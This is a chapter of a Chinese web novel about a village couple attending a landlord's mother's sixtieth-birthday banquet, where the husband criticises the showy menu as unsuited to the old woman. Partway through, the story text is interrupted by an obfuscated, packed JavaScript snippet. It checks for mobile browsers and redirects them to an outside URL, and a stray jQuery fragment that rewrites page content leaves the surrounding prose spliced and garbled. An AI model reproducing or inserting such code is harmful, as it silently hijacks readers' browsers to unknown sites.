刘婶婶在旁边笑得慈祥,“幸哥儿努力了一天呢。” “……”姜幸虽然被夸了,但他不好意思地低下头。 他的针线惨不忍睹,刘婶婶的针线又快又好,要不是刘婶婶有耐心,他怕是早就被打出去了。 “幸哥儿,快给你男人倒杯水去。”刘婶婶笑着拍了姜幸一下,被这个小哥儿的笨拙气到无奈,“没看到春小子一头汗吗?” 姜幸这才注意到燕程春一身的汗渍和疲惫的神情,“我这就去!” 他立马放下手里的东西往屋里跑。 “婶子,多谢你了。”燕程春拱手道谢,有刘婶婶在,他今天才放心。 “春小子,你和婶子说句实话,这幸哥儿真就是一个普通的镇户哥儿?” 刘婶婶的眼神充满怀疑,“孩子是个好孩子,活泼,讨喜。可你瞧瞧他,不会缝纫,你到家了也不知道给你倒碗水,更不用说去做饭了。这天儿又到傍晚了,我等了他好一会,他都没想起来要给你做晚食。这一看就是家里没教,从小宠着长大的小哥儿。” “婶子,幸哥儿家里有困难,多的我不便多说。”燕程春知道刘婶婶是好意,可他也不想到处宣扬姜幸的过往。 “婶子放心,幸哥儿就是我要娶的人,从一开始就是。” “他什么模样,我都知晓,我也都尽心接受。” 姜幸或许懂得很少,可他愿意学,也愿意听,只要自己说了,他便会乖乖实践,从不质疑他的任何决定。 燕程春想到这几天一直黏在自己身边的小哥儿,脸上露出一个清浅的微笑。 他竟是第一次发现,自己可能是一个高需求人士。 这样身边永远都有一个人,回家永远都有一个人在等着的滋味,实在是太快活,让他短短体验了几天,就着迷了。 看着燕程春脸上的笑容,刘婶婶没话说了,虽然她年纪大,但她又不是瞎子。 春小子脸上的表情分明就是刚成亲的羞意和快乐,一看就和幸哥儿蜜里调油呢。 何苦她做那个坏人! “行,反正过日子,还是看自己的,只要你们自己心里有数就行。” 刘婶婶抬起自己的小马扎,她家的儿媳妇应当已经做好饭了,她也得回家去咯。 姜幸端着一碗凉水在门扉后面,正正好把燕程春的话全部听完,碗里摇摇晃晃的水面,就像他波澜不断的心绪,不能自已。 既然姜幸自己做了小被子,那也不用麻烦乔孺人再缝制,林巧英讨了一碗水喝过,也回家去了。 14.李家寿宴 李员外寿宴那天,村长带着燕程春和姜幸一块去了,林巧英作为村长家的女儿,也打扮了一番,跟在旁边。 燕程春会去,那是因为寿礼中有一些野味是燕程春抓到的,还有两只野兔子,李员外家有个哥儿,正好送给小公子。 姜幸去,自然是燕程春带着的。 燕程春后来又上山几次,一去就是一整天,姜幸从嫁过来就一直在家里待着,他们家无田地,也无农活,姜幸每日就扫扫地,补补他的小被子。 这样的日子多了,燕程春担心小哥儿变成小傻子,于是和村长说想带姜幸出来玩一玩,顺便熟悉一下周围的环境。 村长觉得在理,便带上了姜幸。 第一次能离开燕程春家,走一走这长明村,姜幸高兴死了,宁愿拄着拐杖也要跟着燕程春去李员外家凑热闹。 不过姜幸的腿脚在嫁人之前就已经养着了,嫁到燕程春这儿,燕程春也没让他受着累,姜幸现在只要不是突然脑残立刻跑跳,正常行走已经没有问题,虽然还有些许瘸态,但不仔细看是看不出来的。 李员外家在镇子上,长明村的庄子只是给家中老夫人颐养天年的,所以内里装饰并不奢华,燕程春看来看去,反而觉得这庄子像其他农户那样,朴实。 瞧瞧,墙面挂满了晒干的瓜果鱼干,角落堆着柴火和菜篓子,许多已经用到边边角角的东西,老夫人也舍不得扔,全都攒在一起,非要用到不能用了再扔掉。 垂花门处旁边挂着三清道祖的祭坛,而跨过垂花门,只一眼,就能看到后院的鸡鸭鹅满地跑,小黄狗追来追去,抓不到任何一个小伙伴。 前厅,来来往往的宾客们提着礼品做登记,特地从镇子上赶过来的李家老管家正一个一个接进去,脸上带着满满的笑意,就连那长髯都翘起一个尾巴。 和长明村一样,租种李员外家农田的村子都准备了一份寿礼带过来。 这些村民的穿着和其他宾客格格不入,便没去凑热闹,大家都是住在附近的人,自然比镇子上的人更熟悉,聚在一起说说话,等着那些锦衣华服的客人走完,他们再过去。 没等多久,他们便送上自己的寿礼,也被大管家接了进去。 大管家不愧是大管家,他知道这些普通农家人若是和院子里那些有钱有势的人坐在一起,免不了要遭受一些非议,便找来一扇屏风,隔开两个地方,方便大家就座。 这样的屏风,原本是用来分离男女席的,可今儿是老夫人寿宴,大昭也不过分讲究这些,左右不过一顿寿宴,又不是什么桃花宴相亲席,现在来都来了,就都跟着自家人坐一起了。 院子正上方有一座戏台子,上面正演着一出仙人献寿的戏,高亢嘹亮的戏腔惹来阵阵喝彩声。 燕程春坐下没多久,就看见那位老夫人被李员外搀扶着从后院走出来。 老夫人以前也是种田的,留下了许多沧桑的痕迹,现如今上了年纪,那些痕迹便像老树上的沟壑,留在了老夫人的脸上。 只是老夫人始终挂着笑脸,目光温润,确实像村长说的那样,和蔼好相处。 老夫人旁边的阔脸男人,便是李员外。 而李员外身边又跟着两个少年人,其中一个的打扮清素雅致,一看便知道这是个哥儿,还是个漂亮小哥儿。 燕程春看到这个小哥儿,免不了和身旁的姜幸做了对比。 李家小哥儿清秀安静,姜幸明媚活泼,虽然风采不同,却都是十分出色的样貌。 燕程春单纯从颜值上看了看,没想太多,转头却看到姜幸愣愣地看着李家小哥,一副丢了魂儿的模样。 燕程春挥了挥手,把姜幸的魂儿叫回来,“姜幸,你怎么了?” “郎君,那位小哥儿……是我一位旧相识。”姜幸苦笑,他没想到自己能在长明村再见到曾经认识的人。 姜幸两年前去过县里的书院,和这位李家小哥儿原来同上过琴棋书画的课程,只是他们相处时间不长,彼此也没问各自的身份背景,从书院离开后,两个人便没了联系,姜幸也没想到,这位小哥儿竟然也是聚仙镇的! 燕程春被这两个小哥儿的相识过程震惊了,“你们一块上课将近三个多月,竟然就没问问彼此住哪儿么?” “君子之交,岂可胡乱打探友人的私密。”姜幸和李家小哥儿当时都想着,来日方长,以后有缘的话,定会再相见的,可谁李家小哥儿因为意外提前出了书院,两个人就没再见。 “他是小哥儿,我也是,我们回到家中就不能再随意出门了。况且……我从书院出来没多久,我爹娘便……”姜幸不再提自己的爹娘,但如今提起这件事也颇为遗憾,“原来我们同住一个镇子,不知道我们互相擦肩而过多少回呢。” “这倒是巧了。”燕程春说,“我正有意想向李员外买田。” “买田?” 姜幸和村长同时看向燕程春。 燕程春遂解释道:“村长,姜幸,打猎终归不是一个稳定的活计,我如今成了亲,要为幸哥儿考虑,所以想买两亩水田踏踏实实种地。” 林巧英早就知道燕程春的打算,所以没有惊讶,只笑着说:“燕哥这么快就长大了。我娘说的真没错,人只要一成亲,就会长大。” 而心中那点苦涩和不舍,林巧英全当没看到。 她林巧英不是死缠烂打的不知羞,少女情谊,不过尔尔,当断则断罢。 村长摸着胡子点头,“春小子所言不错,未成亲时家中就你一个,你也不在乎自己的性命,每每都去深山猎卖命钱。现如今家中可不止你一个人了,说不准转过年去还要有娃娃,是该稳定下来了。” 打猎多险事,万一哪天一行不慎,让家中的幸哥儿守了寡,春小子想必去了阴曹地府都不甘心。 “村长,那这买田的事儿,您看有谱儿吗?”燕程春知道村子里买田都要经过村长和乔孺人的手,所以他临时抱佛脚,给村长倒了杯茶。 “只要有银子,就不是难事。”村长笑着点燕程春的额头,仿佛终于看到这个吃百家饭的小子长大,“不过李员外家的田现在都正常外租着,不知道是否还有余留的好田,待今次寿宴结束,我帮你问问。” “多谢村长。”燕程春和姜幸同时举杯,感谢村长的帮助。 村长和林巧英看到这一幕,相视一笑。 “燕哥,你和嫂子还真有默契嘞。” 村长频频点头,“合该如此,合该如此,能走到一块就是缘分天定,既然有缘,那就要惜缘,惜缘!” 戏台子上的人被请了下去,单独休息,老夫人坐在最上面的圆桌主位,慢慢等着一道道寿菜上桌。 而其他宾客的桌子,也正在上菜。 跟着大管家从镇子上来的丫头们,伶俐地一盘接一盘,稳稳当当地给每一桌都送去。 乡下用饭,没有太多规矩,老夫人感谢诸位愿意来祝贺她这个老婆子过六十之寿,便算说过话了,众人便可提筷。 燕程春看着桌上摆盘精致,造型独特的寿菜早就按捺不住,在村长动筷后,紧跟着尝了尝。 姜幸和林巧英都是第一次参加这等喜事,更为期待。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616880|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口咽下,姜幸都和林巧英看到对方眼里的惊喜。 “不愧是精心准备的,这菜……味道真好。”姜幸说。 林巧英没想到姜幸会这么认为,“嫂子,你家便是做吃食的,连你都觉得好,我更是没话说了,这菜,真的好吃!” 村长喝了一口汤,也这么觉得。 满桌坐了七八个人,除了燕程春外,具是一副吃到天上美味的姿态。 只有燕程春,一口接一口,面色越来越凝重。 姜幸知道自家郎君对吃食颇有研究,但这会儿是寿宴,不好像他们之前那样随意点评,便小声说:“郎君,你觉得不好么?郎君,不好也别说呀,这里人多嘴杂,咱们回去再说。” “无事。”燕程春看向主位上的老太太,摇摇头,“饭菜没有问题,甜酸苦辣咸都有,汤菜凉菜肉菜处理的很好,素材也新鲜……只是……” 燕程春犹豫。 姜幸被勾起了好奇心,“只是什么呀?饭菜好吃,这难道不对吗?” “别忘了这次是给老太太做寿宴。”燕程春说,“老太太今年都六十了,牙口早就退化,你瞧瞧咱们这上的大菜,重油盐,且大块,除非能将这些硬菜切成小块,不然老太太怕是咽不下去。” “更何况老太太是农家出身,院子里挂着的都是庄稼户会有的东西,怎么会喜欢这等……”燕程春指着一个雕成飞鹤模样的菜,“这等花哨为噱头,却极为浪费的做法。” 燕程春的声音虽然小,但林巧英和村长都坐在他附近,照样听得清楚。 听到燕程春这么说,村长和林巧英吃起来也不香了。 林巧英闷闷说:“老太太我认识的,她经常穿着普普通通的衣服,站到田间,看我们干活,我有时候还会找她讨一碗水喝。老太太还夸我能干呢。” “这次的寿宴是李员外两个孩子负责,想必这俩孩子只顾着让寿宴风光,却忘了真正应该考虑的是老夫人。”村长年纪比这三个人都大,更能感受到燕程春话中的情谊,若是他将来做寿宴,林巧英摆了这么一桌饭,他怕是也吃不下去。 果然,他们离得主桌近,不消用力听,便听到主桌的老太太吃了两口,放下筷子说累了,乏了,想回去休息。 李员外听了,拦住他娘,“娘啊,你平时都能下田干活,今儿一直休息怎么还累了乏了?是不是孩子们哪里做的不合适,你心里不爽利?” 旁边的两个孩子都依偎在老夫人两边,眼神委屈,“奶奶,我们很用心地准备了,连菜单都是去福源酒楼请的,您怎么就吃了两口啊。” “是不是这个厨子做的不好吃?” “不是,不是啊。”老夫人握住两个孩子的手,叹息,“你们俩的娘走的早,大李也未续弦,就让你们两个孩子这么跟着爹长大……到底是缺了点东西……” 老夫人内心看的分明,家里少了那个温柔细腻的夫人,李员外整日又在外面经营,两个孩子跟着他,怕是只学了一身铜臭气,半点没有亲娘带过的细心和妥帖。 老夫人想着,念着,又叫起儿媳妇的名字来,“桂娘啊……” 提到桂娘,在场三人都有些沉默。 原本老夫人只是借口乏了,现在她是真的有些乏了,拍拍李员外的手,疲惫道:“送为娘回去吧,你们接着吃就成,娘想桂娘了……娘要回去和桂娘说说话……” 老夫人到底还是早走了。 李员外陪着去了,留下一个儿子和哥儿,小哥儿不爱应酬,独子只能端着酒水去找那些相识的长辈们叙叙旧。